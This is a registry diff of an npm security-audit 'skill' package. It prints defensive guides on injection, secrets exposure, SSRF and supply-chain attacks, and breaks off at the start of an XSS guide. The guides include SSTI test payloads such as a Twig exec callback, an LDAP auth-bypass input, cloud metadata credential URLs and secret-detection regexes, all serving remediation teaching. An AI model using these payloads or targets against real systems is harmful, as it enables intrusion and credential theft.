cyberaudit-skill 3.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +77 -0
- package/dist/cli.d.ts +2 -0
- package/dist/cli.js +241 -0
- package/dist/mcp-server.d.ts +2 -0
- package/dist/mcp-server.js +126 -0
- package/package.json +58 -0
- package/skills/cyberaudit/AGENT-BOOT.md +122 -0
- package/skills/cyberaudit/COMMANDS.md +1125 -0
- package/skills/cyberaudit/INSTALL.md +311 -0
- package/skills/cyberaudit/MASTER.md +194 -0
- package/skills/cyberaudit/README.md +154 -0
- package/skills/cyberaudit/USAGE-GUIDE.md +107 -0
- package/skills/cyberaudit/mobile/MOBILE-CHECKLIST.md +245 -0
- package/skills/cyberaudit/mobile/MOBILE-PHILOSOPHY.md +352 -0
- package/skills/cyberaudit/mobile/MOBILE-REMEDIATION-LIBRARY.md +468 -0
- package/skills/cyberaudit/mobile/MOBILE-THREAT-MODELS.md +279 -0
- package/skills/cyberaudit/mobile/frameworks/EXPO.md +247 -0
- package/skills/cyberaudit/mobile/frameworks/FLUTTER.md +338 -0
- package/skills/cyberaudit/mobile/frameworks/IONIC.md +248 -0
- package/skills/cyberaudit/mobile/frameworks/REACT-NATIVE.md +479 -0
- package/skills/cyberaudit/mobile/vulnerabilities/AUTH-MOBILE.md +160 -0
- package/skills/cyberaudit/mobile/vulnerabilities/BINARY-ANALYSIS.md +193 -0
- package/skills/cyberaudit/mobile/vulnerabilities/CRYPTO-MOBILE.md +192 -0
- package/skills/cyberaudit/mobile/vulnerabilities/IPC-DEEPLINKS.md +231 -0
- package/skills/cyberaudit/mobile/vulnerabilities/NETWORK-MOBILE.md +165 -0
- package/skills/cyberaudit/mobile/vulnerabilities/PERMISSIONS.md +180 -0
- package/skills/cyberaudit/mobile/vulnerabilities/RUNTIME-MOBILE.md +214 -0
- package/skills/cyberaudit/mobile/vulnerabilities/STORAGE.md +197 -0
- package/skills/cyberaudit/reports/EXECUTIVE-SUMMARY-TEMPLATE.md +188 -0
- package/skills/cyberaudit/reports/REPORT-TEMPLATE-MOBILE.md +410 -0
- package/skills/cyberaudit/reports/REPORT-TEMPLATE-WEB.md +222 -0
- package/skills/cyberaudit/shared/COMPLIANCE.md +307 -0
- package/skills/cyberaudit/shared/CVSS-GUIDE.md +175 -0
- package/skills/cyberaudit/shared/OWASP-MAPPER.md +130 -0
- package/skills/cyberaudit/shared/SEVERITY-SCORING.md +102 -0
- package/skills/cyberaudit/shared/THREAT-MODELING.md +112 -0
- package/skills/cyberaudit/web/WEB-CHECKLIST.md +222 -0
- package/skills/cyberaudit/web/WEB-PHILOSOPHY.md +308 -0
- package/skills/cyberaudit/web/WEB-REMEDIATION-LIBRARY.md +665 -0
- package/skills/cyberaudit/web/WEB-THREAT-MODELS.md +460 -0
- package/skills/cyberaudit/web/frameworks/ANGULAR.md +169 -0
- package/skills/cyberaudit/web/frameworks/EXPRESS.md +185 -0
- package/skills/cyberaudit/web/frameworks/LARAVEL.md +371 -0
- package/skills/cyberaudit/web/frameworks/NESTJS.md +337 -0
- package/skills/cyberaudit/web/frameworks/NEXTJS.md +352 -0
- package/skills/cyberaudit/web/frameworks/REACT.md +346 -0
- package/skills/cyberaudit/web/frameworks/VUE.md +205 -0
- package/skills/cyberaudit/web/vulnerabilities/AUTH-AUTHZ.md +117 -0
- package/skills/cyberaudit/web/vulnerabilities/BUSINESS-LOGIC.md +603 -0
- package/skills/cyberaudit/web/vulnerabilities/CORS.md +117 -0
- package/skills/cyberaudit/web/vulnerabilities/CSRF.md +131 -0
- package/skills/cyberaudit/web/vulnerabilities/DESERIALIZATION.md +96 -0
- package/skills/cyberaudit/web/vulnerabilities/HEADERS.md +105 -0
- package/skills/cyberaudit/web/vulnerabilities/IDOR-BOLA.md +153 -0
- package/skills/cyberaudit/web/vulnerabilities/INJECTION.md +165 -0
- package/skills/cyberaudit/web/vulnerabilities/SECRETS.md +119 -0
- package/skills/cyberaudit/web/vulnerabilities/SSRF.md +124 -0
- package/skills/cyberaudit/web/vulnerabilities/SUPPLY-CHAIN.md +142 -0
- package/skills/cyberaudit/web/vulnerabilities/XSS.md +133 -0
- package/skills/cyberaudit/web/vulnerabilities/XXE.md +94 -0
|
@@ -0,0 +1,165 @@
|
|
|
1
|
+
# 💉 INJECTION — VULNERABILITY GUIDE
|
|
2
|
+
# All forms of injection for web applications
|
|
3
|
+
|
|
4
|
+
═══════════════════════════════════════════════════════════════
|
|
5
|
+
DEFINITION
|
|
6
|
+
═══════════════════════════════════════════════════════════════
|
|
7
|
+
|
|
8
|
+
AN INJECTION = untrusted data sent to an interpreter
|
|
9
|
+
The interpreter cannot distinguish between
|
|
10
|
+
data and commands → it executes data as commands.
|
|
11
|
+
|
|
12
|
+
OWASP : A03:2021 — Injection
|
|
13
|
+
CWE : CWE-89 (SQL), CWE-77 (Command), CWE-94 (Code)
|
|
14
|
+
|
|
15
|
+
═══════════════════════════════════════════════════════════════
|
|
16
|
+
SQL INJECTION
|
|
17
|
+
═══════════════════════════════════════════════════════════════
|
|
18
|
+
|
|
19
|
+
TYPES :
|
|
20
|
+
Classic : Result directly visible
|
|
21
|
+
Blind : No result → behavior analysis
|
|
22
|
+
Time-based : Based on response delays (SLEEP())
|
|
23
|
+
Second-order: Injected now, executed later
|
|
24
|
+
|
|
25
|
+
PATTERNS TO DETECT (all frameworks) :
|
|
26
|
+
Direct interpolation : "SELECT * FROM users WHERE id = " + id
|
|
27
|
+
Template literals : `SELECT * FROM users WHERE id = ${id}`
|
|
28
|
+
PHP concatenation : "WHERE name = '" . $name . "'"
|
|
29
|
+
Format string : sprintf("WHERE id = %s", $id)
|
|
30
|
+
|
|
31
|
+
DETECTING DANGEROUS FUNCTIONS :
|
|
32
|
+
PHP : mysqli_query(), pg_query(), sqlite_query() with variables
|
|
33
|
+
Node : db.query(), pool.execute() without parameters
|
|
34
|
+
Python : cursor.execute() with f-string or %
|
|
35
|
+
|
|
36
|
+
UNIVERSAL REMEDIATION :
|
|
37
|
+
1. Parameterized queries (prepared statements)
|
|
38
|
+
2. ORM with safe query methods
|
|
39
|
+
3. Whitelist for non-parameterizable parts (ORDER BY, table names)
|
|
40
|
+
4. Principle of least privilege on DB account
|
|
41
|
+
|
|
42
|
+
═══════════════════════════════════════════════════════════════
|
|
43
|
+
NOSQL INJECTION
|
|
44
|
+
═══════════════════════════════════════════════════════════════
|
|
45
|
+
|
|
46
|
+
MONGODB — DANGEROUS PATTERNS :
|
|
47
|
+
DETECT :
|
|
48
|
+
// User input passed directly as filter
|
|
49
|
+
db.users.find({ username: req.body.username })
|
|
50
|
+
// If username = { $gt: "" } → returns all users!
|
|
51
|
+
|
|
52
|
+
// $where with JS code
|
|
53
|
+
db.users.find({ $where: `this.username == '${username}'` })
|
|
54
|
+
|
|
55
|
+
// Unrestricted regex → ReDoS
|
|
56
|
+
db.products.find({ name: { $regex: req.query.search } })
|
|
57
|
+
|
|
58
|
+
FIX :
|
|
59
|
+
// Sanitize MongoDB operators
|
|
60
|
+
import mongoSanitize from 'express-mongo-sanitize'
|
|
61
|
+
app.use(mongoSanitize())
|
|
62
|
+
|
|
63
|
+
// Or strict type validation
|
|
64
|
+
const username = String(req.body.username)
|
|
65
|
+
// String() converts everything to string,
|
|
66
|
+
// { $gt: "" } becomes "[object Object]"
|
|
67
|
+
|
|
68
|
+
// For Mongoose, use typed methods
|
|
69
|
+
await User.findOne({ username: username }) // Mongoose escapes
|
|
70
|
+
|
|
71
|
+
// $where : never use with user input
|
|
72
|
+
// Regex : always limit complexity
|
|
73
|
+
const searchTerm = req.query.search.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')
|
|
74
|
+
await Product.find({ name: { $regex: searchTerm, $options: 'i' } })
|
|
75
|
+
|
|
76
|
+
═══════════════════════════════════════════════════════════════
|
|
77
|
+
COMMAND INJECTION
|
|
78
|
+
═══════════════════════════════════════════════════════════════
|
|
79
|
+
|
|
80
|
+
DANGEROUS PATTERNS :
|
|
81
|
+
NODE.JS :
|
|
82
|
+
exec(`ping ${host}`)
|
|
83
|
+
execSync(`convert ${req.file.path} output.jpg`)
|
|
84
|
+
spawn('sh', ['-c', userCommand])
|
|
85
|
+
|
|
86
|
+
PHP :
|
|
87
|
+
system("ping " . $host);
|
|
88
|
+
exec("ffmpeg -i " . $filename);
|
|
89
|
+
shell_exec(`convert {$userInput}`);
|
|
90
|
+
|
|
91
|
+
REMEDIATION :
|
|
92
|
+
// Avoid shell commands with user input
|
|
93
|
+
// Use native libraries instead
|
|
94
|
+
|
|
95
|
+
// ❌ Instead of:
|
|
96
|
+
exec(`convert ${inputFile} ${outputFile}`)
|
|
97
|
+
|
|
98
|
+
// ✅ Use sharp (Node.js) :
|
|
99
|
+
import sharp from 'sharp'
|
|
100
|
+
await sharp(inputPath).resize(800).toFile(outputPath)
|
|
101
|
+
|
|
102
|
+
// If shell unavoidable : strict validation + no shell=true
|
|
103
|
+
import { execFile } from 'child_process'
|
|
104
|
+
|
|
105
|
+
// Whitelist commands and arguments
|
|
106
|
+
const allowedHosts = ['google.com', 'github.com']
|
|
107
|
+
if (!allowedHosts.includes(host)) throw new Error('Host not allowed')
|
|
108
|
+
|
|
109
|
+
execFile('ping', ['-c', '1', host], (err, stdout) => {
|
|
110
|
+
// execFile does not interpret shell
|
|
111
|
+
// Arguments are passed directly, not via sh -c
|
|
112
|
+
})
|
|
113
|
+
|
|
114
|
+
═══════════════════════════════════════════════════════════════
|
|
115
|
+
SSTI (SERVER-SIDE TEMPLATE INJECTION)
|
|
116
|
+
═══════════════════════════════════════════════════════════════
|
|
117
|
+
|
|
118
|
+
VULNERABLE ENGINES AND TEST PAYLOADS :
|
|
119
|
+
Jinja2/Twig : {{7*7}} → 49 if vulnerable
|
|
120
|
+
Twig : {{_self.env.registerUndefinedFilterCallback("exec")}}
|
|
121
|
+
EJS : <%= 7*7 %>
|
|
122
|
+
Handlebars : {{constructor.constructor('return process')()}}
|
|
123
|
+
Pug/Jade : #{7*7}
|
|
124
|
+
|
|
125
|
+
PATTERNS TO DETECT :
|
|
126
|
+
// Template compiled with user input
|
|
127
|
+
const template = ejs.compile(req.body.template)
|
|
128
|
+
const html = pug.render(userTemplate)
|
|
129
|
+
const result = nunjucks.renderString(userContent, data)
|
|
130
|
+
|
|
131
|
+
REMEDIATION :
|
|
132
|
+
// Never render templates provided by the user
|
|
133
|
+
// Use static templates with variables
|
|
134
|
+
// (not dynamic templates provided by the user)
|
|
135
|
+
|
|
136
|
+
// ❌ DANGEROUS :
|
|
137
|
+
const rendered = ejs.render(req.body.emailTemplate, { name: user.name })
|
|
138
|
+
|
|
139
|
+
// ✅ SECURE : Fixed template, variable data
|
|
140
|
+
const rendered = ejs.render(
|
|
141
|
+
fs.readFileSync('./templates/email.ejs', 'utf-8'),
|
|
142
|
+
{ name: sanitize(user.name) }
|
|
143
|
+
)
|
|
144
|
+
|
|
145
|
+
═══════════════════════════════════════════════════════════════
|
|
146
|
+
LDAP INJECTION
|
|
147
|
+
═══════════════════════════════════════════════════════════════
|
|
148
|
+
|
|
149
|
+
DANGEROUS PATTERNS :
|
|
150
|
+
filter = "(&(uid=" + username + ")(userPassword=" + password + "))"
|
|
151
|
+
// If username = *)(& → auth bypass possible
|
|
152
|
+
|
|
153
|
+
REMEDIATION :
|
|
154
|
+
// Escape LDAP special characters
|
|
155
|
+
function escapeLdap(input: string): string {
|
|
156
|
+
return input
|
|
157
|
+
.replace(/\\/g, '\\5c')
|
|
158
|
+
.replace(/\*/g, '\\2a')
|
|
159
|
+
.replace(/\(/g, '\\28')
|
|
160
|
+
.replace(/\)/g, '\\29')
|
|
161
|
+
.replace(/\0/g, '\\00')
|
|
162
|
+
}
|
|
163
|
+
|
|
164
|
+
const safeUsername = escapeLdap(username)
|
|
165
|
+
const filter = `(&(uid=${safeUsername})(objectClass=person))`
|
|
@@ -0,0 +1,119 @@
|
|
|
1
|
+
# 🔑 SECRETS EXPOSURE — VULNERABILITY GUIDE
|
|
2
|
+
|
|
3
|
+
═══════════════════════════════════════════════════════════════
|
|
4
|
+
DEFINITION
|
|
5
|
+
═══════════════════════════════════════════════════════════════
|
|
6
|
+
|
|
7
|
+
A SECRET IN CODE = a secret shared with :
|
|
8
|
+
→ All developers with repo access
|
|
9
|
+
→ GitHub/GitLab (if breach or accidental public repo)
|
|
10
|
+
→ CI/CD logs
|
|
11
|
+
→ Error messages (if displayed)
|
|
12
|
+
→ Source maps (if exposed)
|
|
13
|
+
→ Anyone who forks or clones the repo
|
|
14
|
+
|
|
15
|
+
OWASP : A02:2021 — Cryptographic Failures
|
|
16
|
+
CWE : CWE-798 — Hardcoded Credentials
|
|
17
|
+
|
|
18
|
+
═══════════════════════════════════════════════════════════════
|
|
19
|
+
PATTERNS TO DETECT
|
|
20
|
+
═══════════════════════════════════════════════════════════════
|
|
21
|
+
|
|
22
|
+
UNIVERSAL REGEX PATTERNS :
|
|
23
|
+
AWS Keys : AKIA[0-9A-Z]{16}
|
|
24
|
+
AWS Secret : aws_secret_access_key\s*=\s*[A-Za-z0-9/+=]{40}
|
|
25
|
+
OpenAI : sk-[A-Za-z0-9]{48}
|
|
26
|
+
GitHub Token : gh[pousr]_[A-Za-z0-9_]{36,255}
|
|
27
|
+
Stripe Live : sk_live_[0-9a-zA-Z]{24}
|
|
28
|
+
Stripe Test : sk_test_[0-9a-zA-Z]{24}
|
|
29
|
+
Private Key : -----BEGIN (RSA |EC |OPENSSH )?PRIVATE KEY-----
|
|
30
|
+
JWT Secret : jwt[_-]?secret\s*[:=]\s*["'][^"']{8,}
|
|
31
|
+
DB URL : (postgresql|mysql|mongodb)://[^:]+:[^@]+@
|
|
32
|
+
Generic Pwd : password\s*[:=]\s*["'][^"']{6,}
|
|
33
|
+
|
|
34
|
+
OFTEN FORGOTTEN LOCATIONS :
|
|
35
|
+
→ Test files (test.js, spec.php, fixtures)
|
|
36
|
+
→ Database seed files
|
|
37
|
+
→ Migration scripts
|
|
38
|
+
→ Example configuration files
|
|
39
|
+
→ Comments in code
|
|
40
|
+
→ Git history (git log -p | grep -i "api_key")
|
|
41
|
+
→ Variables in GitHub Actions
|
|
42
|
+
→ Variables in Dockerfiles
|
|
43
|
+
|
|
44
|
+
═══════════════════════════════════════════════════════════════
|
|
45
|
+
REMEDIATION
|
|
46
|
+
═══════════════════════════════════════════════════════════════
|
|
47
|
+
|
|
48
|
+
STEP 1 — IMMEDIATE ROTATION (if secret exposed)
|
|
49
|
+
1. Revoke the exposed secret IMMEDIATELY
|
|
50
|
+
2. Generate a new secret
|
|
51
|
+
3. Deploy with the new secret
|
|
52
|
+
4. Check logs for unauthorized access
|
|
53
|
+
5. Inform stakeholders if necessary
|
|
54
|
+
|
|
55
|
+
STEP 2 — REMOVE FROM CODE
|
|
56
|
+
// Remove from current code
|
|
57
|
+
// But beware : it remains in git history!
|
|
58
|
+
|
|
59
|
+
STEP 3 — PURGE GIT HISTORY
|
|
60
|
+
# Use BFG Repo Cleaner (simpler than git-filter-branch)
|
|
61
|
+
# Installation : brew install bfg
|
|
62
|
+
|
|
63
|
+
# Delete an entire file
|
|
64
|
+
bfg --delete-files .env
|
|
65
|
+
|
|
66
|
+
# Replace a specific value
|
|
67
|
+
echo "sk-abc123...==>REMOVED" > replacements.txt
|
|
68
|
+
bfg --replace-text replacements.txt
|
|
69
|
+
|
|
70
|
+
# Finalize
|
|
71
|
+
git reflog expire --expire=now --all
|
|
72
|
+
git gc --prune=now --aggressive
|
|
73
|
+
git push origin --force --all
|
|
74
|
+
|
|
75
|
+
# WARNING : Notify the entire team to re-clone
|
|
76
|
+
|
|
77
|
+
STEP 4 — PREVENTION
|
|
78
|
+
# .gitignore
|
|
79
|
+
.env
|
|
80
|
+
.env.local
|
|
81
|
+
.env.*.local
|
|
82
|
+
.env.production
|
|
83
|
+
*.key
|
|
84
|
+
*.pem
|
|
85
|
+
secrets.json
|
|
86
|
+
config/secrets.yml
|
|
87
|
+
|
|
88
|
+
# Pre-commit hook with detect-secrets
|
|
89
|
+
pip install detect-secrets
|
|
90
|
+
detect-secrets scan > .secrets.baseline
|
|
91
|
+
# In .pre-commit-config.yaml :
|
|
92
|
+
# - repo: https://github.com/Yelp/detect-secrets
|
|
93
|
+
# hooks:
|
|
94
|
+
# - id: detect-secrets
|
|
95
|
+
|
|
96
|
+
# GitHub : enable Secret Scanning in settings
|
|
97
|
+
# GitLab : enable Secret Detection in CI
|
|
98
|
+
|
|
99
|
+
STEP 5 — SECRET MANAGER
|
|
100
|
+
SOLUTIONS :
|
|
101
|
+
→ HashiCorp Vault (self-hosted, very comprehensive)
|
|
102
|
+
→ AWS Secrets Manager (if on AWS)
|
|
103
|
+
→ Google Secret Manager (if on GCP)
|
|
104
|
+
→ Azure Key Vault (if on Azure)
|
|
105
|
+
→ Infisical (open-source, easy)
|
|
106
|
+
→ Doppler (SaaS, simple)
|
|
107
|
+
|
|
108
|
+
// Example with Infisical (Node.js)
|
|
109
|
+
import { InfisicalClient } from '@infisical/sdk'
|
|
110
|
+
|
|
111
|
+
const client = new InfisicalClient({
|
|
112
|
+
token: process.env.INFISICAL_TOKEN,
|
|
113
|
+
})
|
|
114
|
+
|
|
115
|
+
const { secretValue: dbPassword } = await client.getSecret({
|
|
116
|
+
environment: 'production',
|
|
117
|
+
projectId: process.env.INFISICAL_PROJECT_ID,
|
|
118
|
+
secretName: 'DB_PASSWORD',
|
|
119
|
+
})
|
|
@@ -0,0 +1,124 @@
|
|
|
1
|
+
# 🌍 SSRF — SERVER-SIDE REQUEST FORGERY GUIDE
|
|
2
|
+
|
|
3
|
+
═══════════════════════════════════════════════════════════════
|
|
4
|
+
DEFINITION
|
|
5
|
+
═══════════════════════════════════════════════════════════════
|
|
6
|
+
|
|
7
|
+
SSRF = The attacker forces the server to make HTTP requests
|
|
8
|
+
to destinations they control, including
|
|
9
|
+
internal resources normally inaccessible.
|
|
10
|
+
|
|
11
|
+
WHY IT IS CRITICAL :
|
|
12
|
+
→ In cloud (AWS, GCP, Azure) : access to instance metadata
|
|
13
|
+
→ IAM credentials → cloud account compromise
|
|
14
|
+
→ Access to internal services not publicly exposed
|
|
15
|
+
→ Redis, Elasticsearch, internal databases
|
|
16
|
+
→ Internal network scanning
|
|
17
|
+
→ Firewall bypass
|
|
18
|
+
|
|
19
|
+
OWASP : A10:2021
|
|
20
|
+
CWE : CWE-918
|
|
21
|
+
|
|
22
|
+
═══════════════════════════════════════════════════════════════
|
|
23
|
+
PATTERNS TO DETECT
|
|
24
|
+
═══════════════════════════════════════════════════════════════
|
|
25
|
+
|
|
26
|
+
SSRF ENTRY POINTS :
|
|
27
|
+
→ fetch(url) where url comes from user
|
|
28
|
+
→ axios.get(req.body.url)
|
|
29
|
+
→ Import of an external URL (PDF, image, file)
|
|
30
|
+
→ User-configured webhook
|
|
31
|
+
→ Content proxy
|
|
32
|
+
→ HTML-to-PDF conversion with URL
|
|
33
|
+
→ Import/export from a URL
|
|
34
|
+
→ Link preview (OpenGraph scraping)
|
|
35
|
+
|
|
36
|
+
VULNERABLE CODE :
|
|
37
|
+
// ❌ File import from user URL
|
|
38
|
+
app.post('/import', async (req, res) => {
|
|
39
|
+
const { url } = req.body
|
|
40
|
+
const content = await fetch(url) // SSRF!
|
|
41
|
+
await processContent(content)
|
|
42
|
+
})
|
|
43
|
+
|
|
44
|
+
// ❌ Webhook without validation
|
|
45
|
+
app.post('/webhook-config', async (req, res) => {
|
|
46
|
+
const { callbackUrl } = req.body
|
|
47
|
+
await WebhookConfig.create({ url: callbackUrl }) // SSRF on trigger
|
|
48
|
+
})
|
|
49
|
+
|
|
50
|
+
// ❌ Image proxy
|
|
51
|
+
app.get('/proxy', async (req, res) => {
|
|
52
|
+
const { url } = req.query
|
|
53
|
+
const response = await fetch(url) // SSRF
|
|
54
|
+
response.body.pipe(res)
|
|
55
|
+
})
|
|
56
|
+
|
|
57
|
+
// ❌ HTML-to-PDF with URL
|
|
58
|
+
const pdf = await htmlToPdf.create(req.body.url)
|
|
59
|
+
|
|
60
|
+
CLOUD SSRF TARGETS :
|
|
61
|
+
AWS : http://169.254.169.254/latest/meta-data/
|
|
62
|
+
http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
63
|
+
GCP : http://metadata.google.internal/computeMetadata/v1/
|
|
64
|
+
Azure: http://169.254.169.254/metadata/instance
|
|
65
|
+
|
|
66
|
+
═══════════════════════════════════════════════════════════════
|
|
67
|
+
REMEDIATION
|
|
68
|
+
═══════════════════════════════════════════════════════════════
|
|
69
|
+
|
|
70
|
+
APPROACH 1 — DOMAIN WHITELIST
|
|
71
|
+
const ALLOWED_DOMAINS = new Set([
|
|
72
|
+
'trusted-partner.com',
|
|
73
|
+
'cdn.yourapp.com',
|
|
74
|
+
'api.github.com',
|
|
75
|
+
])
|
|
76
|
+
|
|
77
|
+
async function safeFetch(url: string): Promise<Response> {
|
|
78
|
+
let parsed: URL
|
|
79
|
+
try {
|
|
80
|
+
parsed = new URL(url)
|
|
81
|
+
} catch {
|
|
82
|
+
throw new Error('Invalid URL')
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
// 1. HTTP/HTTPS protocol only
|
|
86
|
+
if (!['http:', 'https:'].includes(parsed.protocol)) {
|
|
87
|
+
throw new Error('Protocol not allowed')
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
// 2. Hostname in whitelist
|
|
91
|
+
const hostname = parsed.hostname.toLowerCase()
|
|
92
|
+
if (!ALLOWED_DOMAINS.has(hostname)) {
|
|
93
|
+
throw new Error('Domain not allowed')
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
// 3. DNS resolution and IP verification
|
|
97
|
+
const { address } = await dns.promises.lookup(hostname)
|
|
98
|
+
if (isPrivateIP(address)) {
|
|
99
|
+
throw new Error('Private IP not allowed')
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
return fetch(url, { redirect: 'error' }) // No redirects
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
function isPrivateIP(ip: string): boolean {
|
|
106
|
+
const privateRanges = [
|
|
107
|
+
/^10\./,
|
|
108
|
+
/^172\.(1[6-9]|2\d|3[01])\./,
|
|
109
|
+
/^192\.168\./,
|
|
110
|
+
/^127\./,
|
|
111
|
+
/^169\.254\./, // Link-local (cloud metadata)
|
|
112
|
+
/^::1$/, // IPv6 loopback
|
|
113
|
+
/^fc00:/, // IPv6 private
|
|
114
|
+
/^fe80:/, // IPv6 link-local
|
|
115
|
+
]
|
|
116
|
+
return privateRanges.some(range => range.test(ip))
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
APPROACH 2 — NETWORK (Infrastructure)
|
|
120
|
+
→ Configure firewall to block outbound requests
|
|
121
|
+
from the server to the internal network
|
|
122
|
+
→ Block access to cloud metadata endpoints
|
|
123
|
+
at the network ACL level
|
|
124
|
+
→ Use a dedicated outbound proxy that filters destinations
|
|
@@ -0,0 +1,142 @@
|
|
|
1
|
+
# 📦 SUPPLY CHAIN — VULNERABILITY GUIDE
|
|
2
|
+
|
|
3
|
+
═══════════════════════════════════════════════════════════════
|
|
4
|
+
DEFINITION
|
|
5
|
+
═══════════════════════════════════════════════════════════════
|
|
6
|
+
|
|
7
|
+
SUPPLY CHAIN ATTACK = Compromising an application
|
|
8
|
+
via a third-party dependency rather than directly.
|
|
9
|
+
|
|
10
|
+
Real examples :
|
|
11
|
+
→ Log4Shell (CVE-2021-44228) : Log4j → RCE in thousands of apps
|
|
12
|
+
→ event-stream (2018) : backdoored npm package → crypto theft
|
|
13
|
+
→ xz utils (2024) : backdoor in a Linux compression library
|
|
14
|
+
→ ua-parser-js (2021) : compromised npm package → cryptominer
|
|
15
|
+
|
|
16
|
+
OWASP : A06:2021 — Vulnerable and Outdated Components
|
|
17
|
+
CWE : CWE-1104
|
|
18
|
+
|
|
19
|
+
═══════════════════════════════════════════════════════════════
|
|
20
|
+
ATTACK VECTORS
|
|
21
|
+
═══════════════════════════════════════════════════════════════
|
|
22
|
+
|
|
23
|
+
TYPOSQUATTING
|
|
24
|
+
→ Malicious package with a name similar to the legitimate package
|
|
25
|
+
→ "coIors" (capital I) instead of "colors"
|
|
26
|
+
→ "lodahs" instead of "lodash"
|
|
27
|
+
→ "crossenv" instead of "cross-env"
|
|
28
|
+
|
|
29
|
+
DEPENDENCY CONFUSION
|
|
30
|
+
→ Internal package named "monapp-utils"
|
|
31
|
+
→ Attacker publishes "monapp-utils" on public npm
|
|
32
|
+
→ npm installs the public version (higher version number)
|
|
33
|
+
→ Backdoor executed in CI/CD
|
|
34
|
+
|
|
35
|
+
PACKAGE HIJACKING
|
|
36
|
+
→ Developer abandons a popular package
|
|
37
|
+
→ Attacker takes over maintainership
|
|
38
|
+
→ Publishes a trojaned version
|
|
39
|
+
|
|
40
|
+
MAINTAINER ACCOUNT COMPROMISE
|
|
41
|
+
→ npm/PyPI maintainer account hacked
|
|
42
|
+
→ New version published with backdoor
|
|
43
|
+
|
|
44
|
+
MALICIOUS POSTINSTALL
|
|
45
|
+
→ postinstall script in a dependency's package.json
|
|
46
|
+
→ Executed automatically on every npm install
|
|
47
|
+
→ Exfiltrates secrets, installs a backdoor
|
|
48
|
+
|
|
49
|
+
═══════════════════════════════════════════════════════════════
|
|
50
|
+
DEPENDENCY AUDIT
|
|
51
|
+
═══════════════════════════════════════════════════════════════
|
|
52
|
+
|
|
53
|
+
AUDIT COMMANDS :
|
|
54
|
+
npm:
|
|
55
|
+
npm audit # Known CVEs
|
|
56
|
+
npm audit --audit-level=high # High+ only
|
|
57
|
+
npx better-npm-audit audit # Better UI
|
|
58
|
+
npx npm-check-updates # Outdated packages
|
|
59
|
+
|
|
60
|
+
Yarn:
|
|
61
|
+
yarn audit
|
|
62
|
+
yarn outdated
|
|
63
|
+
|
|
64
|
+
PNPM:
|
|
65
|
+
pnpm audit
|
|
66
|
+
|
|
67
|
+
PHP Composer:
|
|
68
|
+
composer audit # Since Composer 2.4
|
|
69
|
+
# OR
|
|
70
|
+
composer require --dev roave/security-advisories
|
|
71
|
+
|
|
72
|
+
Python:
|
|
73
|
+
pip-audit # pip install pip-audit
|
|
74
|
+
safety check # pip install safety
|
|
75
|
+
|
|
76
|
+
WHAT TO LOOK FOR :
|
|
77
|
+
□ Unfixed critical and high CVEs
|
|
78
|
+
□ Unmaintained packages (last publish > 2 years, 0 downloads)
|
|
79
|
+
□ Packages with suspicious postinstall scripts
|
|
80
|
+
□ Packages requesting too many permissions
|
|
81
|
+
□ Missing or uncommitted lock file
|
|
82
|
+
□ Versions pinned with ^ or ~ (permissive)
|
|
83
|
+
□ Dependencies directly from GitHub without hash
|
|
84
|
+
|
|
85
|
+
═══════════════════════════════════════════════════════════════
|
|
86
|
+
REMEDIATION
|
|
87
|
+
═══════════════════════════════════════════════════════════════
|
|
88
|
+
|
|
89
|
+
COMMIT LOCK FILES
|
|
90
|
+
# These files must be in git
|
|
91
|
+
package-lock.json
|
|
92
|
+
yarn.lock
|
|
93
|
+
pnpm-lock.yaml
|
|
94
|
+
composer.lock
|
|
95
|
+
Pipfile.lock
|
|
96
|
+
poetry.lock
|
|
97
|
+
|
|
98
|
+
# They guarantee everyone installs
|
|
99
|
+
# exactly the same versions
|
|
100
|
+
|
|
101
|
+
PIN VERSIONS (critical dependencies)
|
|
102
|
+
# Instead of :
|
|
103
|
+
"react": "^18.0.0" # Accepts 18.x.x
|
|
104
|
+
|
|
105
|
+
# For critical dependencies :
|
|
106
|
+
"react": "18.2.0" # Exactly this version
|
|
107
|
+
|
|
108
|
+
VERIFY POSTINSTALL SCRIPTS
|
|
109
|
+
# In a dependency's package.json, look for :
|
|
110
|
+
"scripts": {
|
|
111
|
+
"postinstall": "node ./dist/install.js" # What does this script do?
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
# npm option : disable scripts
|
|
115
|
+
npm install --ignore-scripts
|
|
116
|
+
|
|
117
|
+
# Manually check unknown packages before installation
|
|
118
|
+
|
|
119
|
+
AUDIT IN CI/CD
|
|
120
|
+
# GitHub Actions
|
|
121
|
+
- name: Security audit
|
|
122
|
+
run: |
|
|
123
|
+
npm audit --audit-level=high
|
|
124
|
+
exit_code=$?
|
|
125
|
+
if [ $exit_code -ne 0 ]; then
|
|
126
|
+
echo "::error::Critical vulnerabilities detected"
|
|
127
|
+
exit 1
|
|
128
|
+
fi
|
|
129
|
+
|
|
130
|
+
PRIVATE REGISTRY
|
|
131
|
+
# .npmrc to force private registry
|
|
132
|
+
registry=https://registry.your-company.com
|
|
133
|
+
always-auth=true
|
|
134
|
+
|
|
135
|
+
# Prevents dependency confusion by configuring private scopes
|
|
136
|
+
@company:registry=https://registry.your-company.com
|
|
137
|
+
|
|
138
|
+
ADDITIONAL TOOLS
|
|
139
|
+
→ Socket.dev : behavioral analysis of npm packages
|
|
140
|
+
→ Snyk : dependency audit with auto-fix
|
|
141
|
+
→ Dependabot: automatic PRs for security updates
|
|
142
|
+
→ Renovate : similar to Dependabot, more configurable
|
|
@@ -0,0 +1,133 @@
|
|
|
1
|
+
# 🔥 XSS — CROSS-SITE SCRIPTING GUIDE
|
|
2
|
+
|
|
3
|
+
═══════════════════════════════════════════════════════════════
|
|
4
|
+
DEFINITION AND TYPES
|
|
5
|
+
═══════════════════════════════════════════════════════════════
|
|
6
|
+
|
|
7
|
+
XSS = Injection of malicious JavaScript code
|
|
8
|
+
that executes in a victim's browser.
|
|
9
|
+
|
|
10
|
+
OWASP : A03:2021
|
|
11
|
+
CWE : CWE-79
|
|
12
|
+
|
|
13
|
+
TYPE 1 — REFLECTED XSS
|
|
14
|
